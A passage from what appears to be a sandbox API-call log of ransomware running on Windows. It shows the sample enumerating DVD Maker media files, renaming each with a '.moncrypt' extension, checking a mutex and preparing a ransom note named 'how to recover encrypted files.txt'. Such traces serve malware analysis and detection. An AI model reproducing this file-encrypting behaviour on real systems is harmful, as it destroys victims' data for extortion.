ftLastAccessTime.dwLowDateTime=0x70e4fd82, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49eb515f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2279e, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyMainToScenesBackground_PAL.wmv", cAlternateFileName="")) returned 0x54e280 [0057.429] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.429] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.429] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.429] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv", dwFileAttributes=0x20) returned 0 [0057.430] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.430] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyMainToScenesBackground_PAL.wmv.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboymaintoscenesbackground_pal.wmv.moncrypt")) returned 0 [0057.430] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 1 [0057.430] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.430] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.430] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.430] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.430] GlobalUnlock (hMem=0x440004) returned 0 [0057.430] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.430] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.430] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.430] GlobalUnlock (hMem=0x440004) returned 0 [0057.430] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.430] GlobalUnlock (hMem=0x44000c) returned 0 [0057.430] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.431] CharLowerBuffW (in: lpsz="BabyBoyNotesBackground.wmv", cchLength=0x1a | out: lpsz="babyboynotesbackground.wmv") returned 0x1a [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="y", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="yê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.431] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="b", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.432] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390f8, cbMultiByte=34, lpWideCharStr=0x18da24, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txt?\x18\x06") returned 34 [0057.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv", cchWideChar=78, lpMultiByteStr=0x18da00, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmvt", lpUsedDefaultChar=0x0) returned 78 [0057.432] CharLowerBuffW (in: lpsz=".wmv", cchLength=0x4 | out: lpsz=".wmv") returned 0x4 [0057.432] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wmv", cchWideChar=4, lpMultiByteStr=0x18da24, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wmvles\\BabyBoy\\BabyBoyNotesBackground.wmvt", lpUsedDefaultChar=0x0) returned 4 [0057.432] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70ec2199, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70ec2199, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground.wmv", cAlternateFileName="")) returned 0x54e280 [0057.432] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.432] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.432] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.432] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv", dwFileAttributes=0x20) returned 0 [0057.433] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.433] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground.wmv.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground.wmv.moncrypt")) returned 0 [0057.433] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 1 [0057.433] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.433] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.433] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.433] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.433] GlobalUnlock (hMem=0x44000c) returned 0 [0057.433] GlobalLock (hMem=0x44000c) returned 0x555b78 [0057.433] GlobalLock (hMem=0x440004) returned 0x557b88 [0057.433] GlobalHandle (pMem=0x555b78) returned 0x44000c [0057.433] GlobalUnlock (hMem=0x44000c) returned 0 [0057.433] GlobalHandle (pMem=0x557b88) returned 0x440004 [0057.433] GlobalUnlock (hMem=0x440004) returned 0 [0057.433] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.433] CharLowerBuffW (in: lpsz="BabyBoyNotesBackground_PAL.wmv", cchLength=0x1e | out: lpsz="babyboynotesbackground_pal.wmv") returned 0x1e [0057.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="v", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="_", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="_ê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="n", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="u", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="uê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="r", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="k", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="kê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.434] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x18da1c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aê\x18", lpUsedDefaultChar=0x0) returned 1 [0057.434] CharLowerBuffW (in: lpsz=".wmv", cchLength=0x4 | out: lpsz=".wmv") returned 0x4 [0057.434] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f345b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f345b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49edb2bd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2666c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyNotesBackground_PAL.wmv", cAlternateFileName="")) returned 0x54e280 [0057.434] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.434] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.434] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.435] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv", dwFileAttributes=0x20) returned 0 [0057.435] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.435] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyNotesBackground_PAL.wmv.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboynotesbackground_pal.wmv.moncrypt")) returned 0 [0057.435] FindNextFileW (in: hFindFile=0x54e240, lpFindFileData=0x18eb64 | out: lpFindFileData=0x18eb64*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 1 [0057.435] FileTimeToLocalFileTime (in: lpFileTime=0x18eb78, lpLocalFileTime=0x18ea84 | out: lpLocalFileTime=0x18ea84) returned 1 [0057.435] FileTimeToDosDateTime (in: lpFileTime=0x18ea84, lpFatDate=0x18eb46, lpFatTime=0x18eb44 | out: lpFatDate=0x18eb46, lpFatTime=0x18eb44) returned 1 [0057.435] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.435] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.435] GlobalUnlock (hMem=0x440004) returned 0 [0057.435] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.435] GlobalLock (hMem=0x44000c) returned 0x557b88 [0057.436] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.436] GlobalUnlock (hMem=0x440004) returned 0 [0057.436] GlobalHandle (pMem=0x557b88) returned 0x44000c [0057.436] GlobalUnlock (hMem=0x44000c) returned 0 [0057.436] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0057.436] CharLowerBuffW (in: lpsz="BabyBoyScenesBackground.wmv", cchLength=0x1b | out: lpsz="babyboyscenesbackground.wmv") returned 0x1b [0057.436] CharLowerBuffW (in: lpsz=".wmv", cchLength=0x4 | out: lpsz=".wmv") returned 0x4 [0057.436] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv", lpFindFileData=0x18e7c4 | out: lpFindFileData=0x18e7c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70f5a70d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70f5a70d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x49f0141b, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x2472c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BabyBoyScenesBackground.wmv", cAlternateFileName="")) returned 0x54e280 [0057.436] FileTimeToLocalFileTime (in: lpFileTime=0x18e7d8, lpLocalFileTime=0x18e6f0 | out: lpLocalFileTime=0x18e6f0) returned 1 [0057.436] FileTimeToDosDateTime (in: lpFileTime=0x18e6f0, lpFatDate=0x18e7a6, lpFatTime=0x18e7a4 | out: lpFatDate=0x18e7a6, lpFatTime=0x18e7a4) returned 1 [0057.436] FindClose (in: hFindFile=0x54e280 | out: hFindFile=0x54e280) returned 1 [0057.436] SetFileAttributesW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv", dwFileAttributes=0x20) returned 0 [0057.437] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18d700, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0057.437] MoveFileW (lpExistingFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv"), lpNewFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\BabyBoyScenesBackground.wmv.moncrypt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\babyboy\\babyboyscenesbackground.wmv.moncrypt")) returned 0 [0057.438] FindClose (in: hFindFile=0x54e240 | out: hFindFile=0x54e240) returned 1 [0057.438] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.438] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.438] GlobalUnlock (hMem=0x44000c) returned 0 [0057.438] GlobalLock (hMem=0x44000c) returned 0x550170 [0057.438] GlobalLock (hMem=0x440004) returned 0x555b78 [0057.438] GlobalHandle (pMem=0x550170) returned 0x44000c [0057.438] GlobalUnlock (hMem=0x44000c) returned 0 [0057.438] GlobalHandle (pMem=0x555b78) returned 0x440004 [0057.438] GlobalUnlock (hMem=0x440004) returned 0 [0057.438] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD 